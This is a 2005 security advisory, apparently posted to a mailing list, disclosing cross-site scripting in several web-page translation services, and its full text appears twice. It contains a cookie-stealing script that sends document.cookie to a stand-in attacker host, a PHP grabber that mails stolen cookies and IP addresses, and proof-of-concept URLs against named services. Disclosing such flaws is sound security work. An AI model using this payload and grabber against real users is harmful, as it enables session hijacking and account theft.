simo@morx.org
27/12/05, 19:30
Title: Multiple Translation websites Cross Site Scripting
vulnerability
Author: Simo Ben youssef aka _6mO_HaCk <simo_at_morx_org>
Date: 22 December 2005
MorX Security Research Team
http://www.morx.org
Service: Translation tools/websites
Vendors: Google, altavista, IBM, freetranslation, worldlingo
paralink and almost any site using the webpage translation
technique
Vulnerability: Cross Site Scripting / Cookie-Theft / Relogin attacks
Tested on: Microsoft IE 6.0 and firefox 5.1
(should work on all browsers)
Details:
the following is a Cross Site Scripting vulnerability that i ve found so far
in all translation websites that i ve seen, these websites use URL webpage
translation method which consist of passing a url of a user choice to the web
application for translating purpose, in fact after the webpage is being
processed
(translated) the application dosent filter the webpage content before
outputing it
into the user browser.
Impact:
a remote attacker can construct a malicious code in a webpage then upload
it to his/her
webserver and make a vulnerable website user visit the page thru the
translation script
and therefor execute the malicious code contents by the client browser.
malicous code as an example can be a javascript code to steal the victim
cookie
exemple of a malicious webpage:
<SCRIPT>location.href='http://www.attacker-site/grabber.php?cookie='+escape(document.cookie)</SCRIPT>
this javascript code will redirect the victim to the attacker php script
to grab the cookie information
and then log it or/and send it back the the attacker email
exemple of a php grabber
<?php
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("attacker@email-address.com", $subject, $msg);
?>
for testing purpose you may use the following javascript
<script>alert('VULNERABLE'); alert(document.cookie);</script>
Proof Of Concept Exploits:
The following list is just a very small list of many vulnerable websites
paralink:
http://webtranslation.paralink.com/webtranslation.asp?clientid=default&appid=default&b=1&dir=en/fr&dic=general&extsvr=&auto=1&url=http://www.attacker-site/malicious-code.html
Google:
http://translate.google.com/translate?u=http://www.attacker-site/malicious-code.html
Freetranslation:
http://fets3.freetranslation.com/?Url=http%3A%2F%2Fwww.attacker-site.com%2Fmalicious-code.html&Language=English%2FSpanish&Sequence=core
Altavista:
http://babelfish.altavista.com/babelfish/urltrurl?tt=url&url=http://www.attacker-site/malicious-code.html&lp=zh_en
IBM:
http://www.alphaworks.ibm.com/aw.nsf/html/mt
http://192.195.29.104/demand?mtlang=enfr&translate=http%253A%252F%252Fwww.attacker-site%252Fmalicious-code.html
Worldlingo:
http://www.worldlingo.com/wl/services/S221S1U3QrQ4rVX1J4x4O5WifQlI6nxpL/translation?wl_trglang=DE&wl_rurl=http%3A%2F%2Fwww.attacker-site.com&wl_url=http%3A%2F%2Fwww.attacker-site.com%2Fmalicious-code.html
Comprendium:
http://www.comprendium.es/index_demo_text_ca.html
online-translator:
http://www.online-translator.com/url/tran_url.asp?lang=en&url=http%3A%2F%2Fwww.attacker-site.com%2Fmalicious-code.html&direction=er&template=General&cp1=NO&cp2=NO&autotranslate=on&transliterate=on&psubmit2.x=44&psubmit2.y=12
systranbox:
http://www.systranbox.com/systran/box
.... and more
screen captures demonstrating the vulnerabilities:
www.morx.org/altavista.JPG
www.morx.org/altavista2.JPG
www.morx.org/google.JPG
www.morx.org/worldlingo.JPG
www.morx.org/worldlingo2.JPG
www.morx.org/freetranslation.JPG
www.morx.org/freetranslation2.JPG
www.morx.org/paralink.JPG
www.morx.org/paralink2.JPG
www.morx.org/online-translator.JPG
www.morx.org/ibm.JPG
www.morx.org/comprendium.JPG
www.morx.org/systran.JPG
Disclaimer:
this entire document is for eductional purposes and testing only.
Modification use and/or publishing this
information is entirely on your OWN risk, I cannot be held responsible for
any of the above
Most of the vendors were already contacted and informed about these
problems, some confirmed some didnt
answer back and some werent contacted because i couldnt find their contact
information.
My x-mas wish:
petit papa noel quand tu decendra du ciel avec tes cadeaux par milier n
oubli pas de foutre une bi** dans
le cu* a Abder (je t aime quand meme) :D
Greets:
Special Greets and Thanks to HandriX and all MorX members, Securma Massine
and Anasoft. greets to my brother
in fuxoring Abder :>
--
vulnerability
Author: Simo Ben youssef aka _6mO_HaCk <simo_at_morx_org>
Date: 22 December 2005
MorX Security Research Team
http://www.morx.org
Service: Translation tools/websites
Vendors: Google, altavista, IBM, freetranslation, worldlingo
paralink and almost any site using the webpage translation
technique
Vulnerability: Cross Site Scripting / Cookie-Theft / Relogin attacks
Tested on: Microsoft IE 6.0 and firefox 5.1
(should work on all browsers)
Details:
the following is a Cross Site Scripting vulnerability that i ve found so far
in all translation websites that i ve seen, these websites use URL webpage
translation method which consist of passing a url of a user choice to the web
application for translating purpose, in fact after the webpage is being
processed
(translated) the application dosent filter the webpage content before
outputing it
into the user browser.
Impact:
a remote attacker can construct a malicious code in a webpage then upload
it to his/her
webserver and make a vulnerable website user visit the page thru the
translation script
and therefor execute the malicious code contents by the client browser.
malicous code as an example can be a javascript code to steal the victim
cookie
exemple of a malicious webpage:
<SCRIPT>location.href='http://www.attacker-site/grabber.php?cookie='+escape(document.cookie)</SCRIPT>
this javascript code will redirect the victim to the attacker php script
to grab the cookie information
and then log it or/and send it back the the attacker email
exemple of a php grabber
<?php
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("attacker@email-address.com", $subject, $msg);
?>
for testing purpose you may use the following javascript
<script>alert('VULNERABLE'); alert(document.cookie);</script>
Proof Of Concept Exploits:
The following list is just a very small list of many vulnerable websites
paralink:
http://webtranslation.paralink.com/webtranslation.asp?clientid=default&appid=default&b=1&dir=en/fr&dic=general&extsvr=&auto=1&url=http://www.attacker-site/malicious-code.html
Google:
http://translate.google.com/translate?u=http://www.attacker-site/malicious-code.html
Freetranslation:
http://fets3.freetranslation.com/?Url=http%3A%2F%2Fwww.attacker-site.com%2Fmalicious-code.html&Language=English%2FSpanish&Sequence=core
Altavista:
http://babelfish.altavista.com/babelfish/urltrurl?tt=url&url=http://www.attacker-site/malicious-code.html&lp=zh_en
IBM:
http://www.alphaworks.ibm.com/aw.nsf/html/mt
http://192.195.29.104/demand?mtlang=enfr&translate=http%253A%252F%252Fwww.attacker-site%252Fmalicious-code.html
Worldlingo:
http://www.worldlingo.com/wl/services/S221S1U3QrQ4rVX1J4x4O5WifQlI6nxpL/translation?wl_trglang=DE&wl_rurl=http%3A%2F%2Fwww.attacker-site.com&wl_url=http%3A%2F%2Fwww.attacker-site.com%2Fmalicious-code.html
Comprendium:
http://www.comprendium.es/index_demo_text_ca.html
online-translator:
http://www.online-translator.com/url/tran_url.asp?lang=en&url=http%3A%2F%2Fwww.attacker-site.com%2Fmalicious-code.html&direction=er&template=General&cp1=NO&cp2=NO&autotranslate=on&transliterate=on&psubmit2.x=44&psubmit2.y=12
systranbox:
http://www.systranbox.com/systran/box
.... and more
screen captures demonstrating the vulnerabilities:
www.morx.org/altavista.JPG
www.morx.org/altavista2.JPG
www.morx.org/google.JPG
www.morx.org/worldlingo.JPG
www.morx.org/worldlingo2.JPG
www.morx.org/freetranslation.JPG
www.morx.org/freetranslation2.JPG
www.morx.org/paralink.JPG
www.morx.org/paralink2.JPG
www.morx.org/online-translator.JPG
www.morx.org/ibm.JPG
www.morx.org/comprendium.JPG
www.morx.org/systran.JPG
Disclaimer:
this entire document is for eductional purposes and testing only.
Modification use and/or publishing this
information is entirely on your OWN risk, I cannot be held responsible for
any of the above
Most of the vendors were already contacted and informed about these
problems, some confirmed some didnt
answer back and some werent contacted because i couldnt find their contact
information.
My x-mas wish:
petit papa noel quand tu decendra du ciel avec tes cadeaux par milier n
oubli pas de foutre une bi** dans
le cu* a Abder (je t aime quand meme) :D
Greets:
Special Greets and Thanks to HandriX and all MorX members, Securma Massine
and Anasoft. greets to my brother
in fuxoring Abder :>
--